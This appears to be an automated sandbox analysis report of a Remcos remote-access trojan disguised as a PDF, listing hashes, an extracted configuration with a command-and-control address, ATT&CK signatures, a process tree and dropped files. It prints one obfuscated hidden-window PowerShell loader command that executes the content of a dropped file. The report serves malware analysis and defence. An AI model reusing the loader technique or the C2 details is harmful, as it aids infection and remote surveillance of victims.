remcos | 36c105d0567272f2c86d784c7e7beadc44898152d1413d70fadd93b20f6992c8

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 23:16

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General

Target

430010782.pdf.exe
Size

759KB
MD5

74c8f736d425b1bd2027c2b5b144e188
SHA1

76f160d6c55611b99dcd10f85889957cb867990a
SHA256

293ebd610b0542289ffe9a52cab2c2a434dcff94918045a5ed1497deaee5eb87
SHA512

c859f5d689b168a72db6fc7fec5ed3c2a95cbd51402f0128b5370ec0cd41d73e02f90e3b27b85b8d76c5c0140bd9a6d9341d2422673baa52a5138ff689596162
SSDEEP

12288:0GCX77iIc2b3mMhkApKwjVim+PMpa3oGk6Rcs93tRLPHj6XOahG:qr75cY2vFikV/oGtR193tJPDUOr

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

87.120.116.187:56

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-GC7VQU
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4468	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
4148	430010782.pdf.exe

Blocklisted process makes network request 7 IoCs

flow	pid	Process
23	2872	msiexec.exe
25	2872	msiexec.exe
27	2872	msiexec.exe
29	2872	msiexec.exe
31	2872	msiexec.exe
35	2872	msiexec.exe
37	2872	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	drive.google.com
23	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2872	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4468	powershell.exe
2872	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\devotee\Organosol.ini	430010782.pdf.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\typhloalbuminuria\rekylgevrs.ini	430010782.pdf.exe
File opened for modification	C:\Windows\Fonts\ketoside.ref	430010782.pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	430010782.pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4468	powershell.exe
4468	powershell.exe
4468	powershell.exe
4468	powershell.exe
4468	powershell.exe
4468	powershell.exe
4468	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4468	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeIncreaseQuotaPrivilege	4468	powershell.exe
Token: SeSecurityPrivilege	4468	powershell.exe
Token: SeTakeOwnershipPrivilege	4468	powershell.exe
Token: SeLoadDriverPrivilege	4468	powershell.exe
Token: SeSystemProfilePrivilege	4468	powershell.exe
Token: SeSystemtimePrivilege	4468	powershell.exe
Token: SeProfSingleProcessPrivilege	4468	powershell.exe
Token: SeIncBasePriorityPrivilege	4468	powershell.exe
Token: SeCreatePagefilePrivilege	4468	powershell.exe
Token: SeBackupPrivilege	4468	powershell.exe
Token: SeRestorePrivilege	4468	powershell.exe
Token: SeShutdownPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeSystemEnvironmentPrivilege	4468	powershell.exe
Token: SeRemoteShutdownPrivilege	4468	powershell.exe
Token: SeUndockPrivilege	4468	powershell.exe
Token: SeManageVolumePrivilege	4468	powershell.exe
Token: 33	4468	powershell.exe
Token: 34	4468	powershell.exe
Token: 35	4468	powershell.exe
Token: 36	4468	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 4468	4148	430010782.pdf.exe	83
PID 4148 wrote to memory of 4468	4148	430010782.pdf.exe	83
PID 4148 wrote to memory of 4468	4148	430010782.pdf.exe	83
PID 4468 wrote to memory of 2872	4468	powershell.exe	93
PID 4468 wrote to memory of 2872	4468	powershell.exe	93
PID 4468 wrote to memory of 2872	4468	powershell.exe	93
PID 4468 wrote to memory of 2872	4468	powershell.exe	93

C:\Users\Admin\AppData\Local\Temp\430010782.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\430010782.pdf.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Ekstremumspunktet32=gc -raw 'C:\Users\Admin\AppData\Local\neoimpressionism\Arbejdsbesparelsernes40\Kbmand.Too';$byelaws=$Ekstremumspunktet32.SubString(71187,3);.$byelaws($Ekstremumspunktet32) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_auzuesll.03m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsn8C82.tmp\nsExec.dll

Filesize
6KB

MD5
01e76fe9d2033606a48d4816bd9c2d9d

SHA1
e46d8a9ed4d5da220c81baf5f1fdb94708e9aba2

SHA256
ee052fd5141bf769b841846170aabf0d7c2bb922c74c623c3f109344534f7a70

SHA512
62ef7095d1bf53354c20329c2ce8546c277aa0e791839c8a24108a01f9483a953979259e0ad04dbcab966444ee7cdd340f8c9557bc8f98e9400794f2751dc7e0

Download Submit
C:\Users\Admin\AppData\Local\neoimpressionism\Arbejdsbesparelsernes40\Kbmand.Too

Filesize
69KB

MD5
fe436db316fbc26e45e0e549ef823194

SHA1
a6167e8edaba364577375393344d64d7d29e5455

SHA256
fd88a6b7f747f43380875af5fa4ef6b735afd1c52d0a75d1e14513fca9f26ad4

SHA512
05e48c88be028ffa2724ec129df3b9b2125f4b07ae50a9b8f6010443c94489bdc8fbc533dcabf40d9afd1b8e0cad95faa2c94c10e703c0c63e43adaae5bf3868

Download Submit
C:\Users\Admin\AppData\Local\neoimpressionism\Arbejdsbesparelsernes40\Realist.Age

Filesize
319KB

MD5
55ac96f564dc8f6b82fa7e240d6eee3a

SHA1
6b141e40fb89357ddf8f54dff918689c21883f0d

SHA256
843565dd040bb35626b2c30eedd8928efa98fa4c221ac6da35a350f35faf270a

SHA512
2a41085ccf49e8e7c8659d2d211042628bc22946f3ea969ac5cd1c5cd089b663c48ceadc7cbd08f5c2df736f4a2be10f96b6b968988ca92db892ef65a8b124df

Download Submit
memory/2872-84-0x0000000000FB0000-0x0000000002204000-memory.dmp

Filesize
18.3MB

Download
memory/2872-89-0x0000000000FB0000-0x0000000002204000-memory.dmp

Filesize
18.3MB

Download
memory/2872-101-0x0000000000FB0000-0x0000000002204000-memory.dmp

Filesize
18.3MB

Download
memory/2872-100-0x0000000000FB0000-0x0000000002204000-memory.dmp

Filesize
18.3MB

Download
memory/2872-99-0x0000000000FB0000-0x0000000002204000-memory.dmp

Filesize
18.3MB

Download
memory/2872-91-0x0000000000FB0000-0x0000000002204000-memory.dmp

Filesize
18.3MB

Download
memory/2872-90-0x0000000000FB0000-0x0000000002204000-memory.dmp

Filesize
18.3MB

Download
memory/4468-48-0x00000000079A0000-0x0000000007A43000-memory.dmp

Filesize
652KB

Download
memory/4468-54-0x0000000007CD0000-0x0000000007CEA000-memory.dmp

Filesize
104KB

Download
memory/4468-16-0x00000000056A0000-0x0000000005706000-memory.dmp

Filesize
408KB

Download
memory/4468-17-0x0000000005F10000-0x0000000006264000-memory.dmp

Filesize
3.3MB

Download
memory/4468-27-0x0000000006560000-0x000000000657E000-memory.dmp

Filesize
120KB

Download
memory/4468-28-0x0000000006580000-0x00000000065CC000-memory.dmp

Filesize
304KB

Download
memory/4468-29-0x0000000007520000-0x00000000075B6000-memory.dmp

Filesize
600KB

Download
memory/4468-30-0x0000000006A50000-0x0000000006A6A000-memory.dmp

Filesize
104KB

Download
memory/4468-31-0x0000000006AA0000-0x0000000006AC2000-memory.dmp

Filesize
136KB

Download
memory/4468-32-0x0000000007DA0000-0x0000000008344000-memory.dmp

Filesize
5.6MB

Download
memory/4468-34-0x00000000089D0000-0x000000000904A000-memory.dmp

Filesize
6.5MB

Download
memory/4468-36-0x00000000703E0000-0x000000007042C000-memory.dmp

Filesize
304KB

Download
memory/4468-35-0x0000000007950000-0x0000000007982000-memory.dmp

Filesize
200KB

Download
memory/4468-47-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-46-0x0000000007930000-0x000000000794E000-memory.dmp

Filesize
120KB

Download
memory/4468-14-0x0000000005590000-0x00000000055B2000-memory.dmp

Filesize
136KB

Download
memory/4468-49-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-50-0x0000000007AC0000-0x0000000007ACA000-memory.dmp

Filesize
40KB

Download
memory/4468-51-0x0000000007C20000-0x0000000007C31000-memory.dmp

Filesize
68KB

Download
memory/4468-52-0x0000000007C60000-0x0000000007C6E000-memory.dmp

Filesize
56KB

Download
memory/4468-53-0x0000000007C70000-0x0000000007C84000-memory.dmp

Filesize
80KB

Download
memory/4468-15-0x0000000005630000-0x0000000005696000-memory.dmp

Filesize
408KB

Download
memory/4468-55-0x0000000007CA0000-0x0000000007CA8000-memory.dmp

Filesize
32KB

Download
memory/4468-56-0x0000000007CD0000-0x0000000007CFA000-memory.dmp

Filesize
168KB

Download
memory/4468-57-0x0000000007D00000-0x0000000007D24000-memory.dmp

Filesize
144KB

Download
memory/4468-58-0x0000000073F5E000-0x0000000073F5F000-memory.dmp

Filesize
4KB

Download
memory/4468-61-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-62-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-63-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-64-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-66-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-68-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-67-0x0000000009050000-0x000000000A7E3000-memory.dmp

Filesize
23.6MB

Download
memory/4468-69-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-13-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-11-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-12-0x00000000058E0000-0x0000000005F08000-memory.dmp

Filesize
6.2MB

Download
memory/4468-10-0x0000000002F70000-0x0000000002FA6000-memory.dmp

Filesize
216KB

Download
memory/4468-9-0x0000000073F5E000-0x0000000073F5F000-memory.dmp

Filesize
4KB

Download
memory/4468-70-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download
memory/4468-71-0x0000000073F50000-0x0000000074700000-memory.dmp

Filesize
7.7MB

Download